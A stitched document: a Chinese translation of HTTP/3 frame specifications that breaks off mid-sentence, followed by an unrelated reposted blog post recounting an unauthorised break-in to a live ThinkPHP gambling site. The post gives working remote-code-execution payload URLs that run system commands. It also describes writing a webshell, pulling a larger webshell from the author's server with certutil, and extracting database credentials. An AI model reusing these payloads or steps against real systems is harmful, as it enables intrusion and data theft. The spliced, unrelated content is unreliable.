對於使用1-RTT QUIC連接的客戶端,每個服務器設置的初始值都是缺省值。 1-RTT項在包含設置的包被QUIC處理之前總是可用的,即使服務器立即發送SETTINGS 也是如此。客戶端不應該在發送請求之前無限期地等待SETTINGS 到達,但他們應該處理接收到的數據報以增加在發送第一個請求之前處理SETTINGS 的可能性。

當使用0-RTT QUIC連接時,每個服務器設置的初始值都是上一個會話中使用的值。客戶端應該存儲服務器在HTTP/3連接中提供的恢復信息的設置,但在某些情況下,他們可以選擇不存儲設置(例如,如果會話票據在SETTINGS幀之前收到)。當嘗試0-RTT時,客戶端必須遵守存儲的設置,如果沒有存儲值,則使用默認值。一旦服務器提供了新的設置,客戶端必須遵守這些值。

服務器可以記住它發布的設置,或存儲票據中值的完整性保護副本,並在接受0-RTT數據時恢復信息。服務器使用HTTP/3設置值來決定是否接受0-RTT數據。如果服務器不能確定客戶端記住的設置與它的當前設置是兼容的,它絕對不能接受0-RTT數據。如果符合這些設置的客戶端不會違反服務器的當前設置,則記住的設置是兼容的。

服務器可以接受0-RTT並隨後在其SETTINGS幀中提供不同的設置。如果0-RTT數據被服務器接受,它的SETTINGS幀絕對不能減少任何限製或改變任何可能被客戶端與它的0-RTT數據違反的值。服務器必須包括與其默認值不同的所有設置。如果服務器接受0-RTT,但隨後發送的設置與之前指定的設置不兼容,則必須將其視為H3_SETTINGS_ERROR 類型的連接錯誤。如果服務器接受0-RTT 但隨後發送的SETTINGS 幀忽略了客戶端理解的設置值(除了保留的設置標識符),該設置值之前指定為具有非默認值,則必須將其視為連接錯誤輸入H3_SETTINGS_ERROR。

7.2.5 PUSH_PROMISEPUSH_PROMISE 幀(類型=0x05)用於在請求流中從服務器到客戶端攜帶承諾的請求標頭部分。

8.png

PUSH_PROMISE 幀

有效載荷包括:

PUSHID:一個可變長度的整數,用於標識服務器推送操作。 Push ID用於push stream標頭和CANCEL_PUSH幀。

服務器絕對不能使用比客戶端提供的MAX_PUSH_ID幀大的Push ID。客戶端收到推送承諾幀時,如果推送承諾幀的ID大於客戶端發布的Push ID,則必須將其視為連接錯誤H3_ID_ERROR。

一個服務器可以在多個推送承諾幀中使用相同的Push ID。如果是這樣,解壓後的請求標頭集必須包含相同順序相同的字段,並且每個字段的名稱和值必須完全匹配。客戶端應該多次比較請求標頭部分以獲得承諾的資源。如果客戶端收到一個已經承諾的Push ID,並且檢測到不匹配,它必須響應一個H3_GENERAL_PROTOCOL_ERROR類型的連接錯誤。如果解壓後的字段部分完全匹配,客戶端應該將推送內容與每一個接收到推送承諾幀的流關聯起來。

允許重複引用相同的Push ID主要是為了減少並發請求造成的重複。服務器應該避免長時間重複使用Push ID。客戶端很可能使用服務器推送響應,而不保留它們以供重用。當客戶端看到一個推送承諾幀使用了一個他們已經使用並刪除的Push ID時,會被迫忽略這個承諾。

如果在控制流上接收到推送承諾幀,客戶端必須響應一個H3_FRAME_UNEXPECTED類型的連接錯誤。

客戶端不能發送PUSH_PROMISE幀。服務器必須將接收到的PUSH_PROMISE幀作為H3_FRAME_UNEXPECTED類型的連接錯誤處理。

關於整個服務器推送機制的描述,請參見4.6節。

7.2.6 關閉GOAWAY幀(type=0x07)用於啟動HTTP/3連接的任意終端的安全關閉。 GOAWAY 允許終端停止接受新請求或推送,同時仍完成對先前接收到的請求和推送的處理。這將啟用管理操作,例如服務器維護。 GOAWAY 本身不會關閉連接。

9.png

GOAWAY幀

GOAWAY幀總是在控制流上發送。在服務器到客戶端的方向上,它攜帶客戶端發起的雙向流的QUIC 流ID,編碼為可變長度整數。客戶端必須將接收到包含任何其他類型的流ID 的GOAWAY 幀視為H3_ID_ERROR 類型的連接錯誤。

在客戶端到服務器的方向上,GOAWAY幀攜帶一個被編碼為變長整數的Push ID。

GOAWAY幀適用於整個連接,而不是特定的流。客戶端必須將控制流以外的流上的GOAWAY幀作為H3_FRAME_UNEXPECTED類型的連接錯誤處理。

關於GOAWAY幀的更多信息請參見5.2節。

7.2.7 MAX_PUSH_IDMAX_PUSH_ID幀(type=0x0d)被客戶端用來控制服務器可以發起的服務器推送的數量。這設置了服務器可以在PUSH_PROMISE和CANCEL_PUSH幀中使用的Push ID的最大值。因此,除了由QUIC傳輸維持的限制外,這也限制了服務器可以發起的push stream的數量。

MAX_PUSH_ID幀總是在控制流上發送。在任何其他流上接收到MAX_PUSH_ID幀必須作為H3_FRAME_UNEXPECTED類型的連接

无意间发现一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗?

然后就顺手测试了一下,但过程并不太顺利,不过最后还是拿下了,所以特发此文分享下思路。

0x00 一键getshell

简单看了下,应该有不少人玩吧?


ewax4yxhrpi12878.png

正好前几天写了个测试工具,先掏出来测试一发。

工具显示存在漏洞

kbyt2uitzc012879.png

一键getshell,看起来很顺利的样子,哈哈。

kbi5o5t4mss12880.png

但是...小明甩了下头发,发现事情并不简单。

c0omtsa0dzs12881.png

菜刀连接的时候,返回500错误。

xqrljowkjnj12882.png

我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢?

作为菜逼的我不禁陷入了沉思...

3vgbe12kxk212883.png

0x01 开始分析

因为这个工具我自己写的,从上面getshell的图片中发现调用的是第三个exp,那么我们来分析下看看。

poc如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我们在poc后面输入whoami看看权限。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis权限

但是可以执行部分命令,比如echo dir等等。


wfav5dossdw12884.png

0x02 尝试突破拿shell

既然可以执行echo 那么我们可以来尝试写入个小马试试,如果成功的话,再利用小马上传大马,说干就干,苦活来了,我们得一行一行写入进去。

注意:代码中的<>符号,要用^^转义。比如<?php转义为^<^?php

rzla55y042j12885.png

逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。

接下来尝试用以下方法下载文件到服务器上也失败了。

deuaak4s3dg12886.png

正当我打算放弃的时候,我想起来还有个下载的命令没用。

那就是certutil.exe

说干就干,把大马放到我们服务器上,开启HFS。

然后执行以下命令。

0bhu00byhmz12887.png

成功进入大马,不过别高兴太早。

y1jpypfpbrk12888.png

小明再次甩了下头发,发现事情更不简单....

jmr0my5itg212889.png

大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空白。

na1o2kvdisf12890.png

既然这样,那么我们进数据库看看吧。

我们都知道tp的数据库配置文件在以下这个位置

/application/database.php

大马是无法打开了,那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php

尝试type读取失败,然后又想到copy命令。

把database.php拷贝到web根目录下,改名为1.txt

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt

拷贝完成以后访问url/1.txt,发现里面是空的。


0x03 成功突破

经历了一系列的失败后,我冷静下来想了下,我们还可以用file_path去读取源码试试。

vmffebwqijj12891.png

用大马上传这个文件到根目录下,然后访问,成功拿到数据库配置信息。

acwotiu3nkb12892.png

然后填写好配置信息,进入数据库。

cpkry1oenud12893.pngpqwvramkm2q12894.png

此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉....



转载于原文链接:https://www.jianshu.com/p/1f9b02780f1c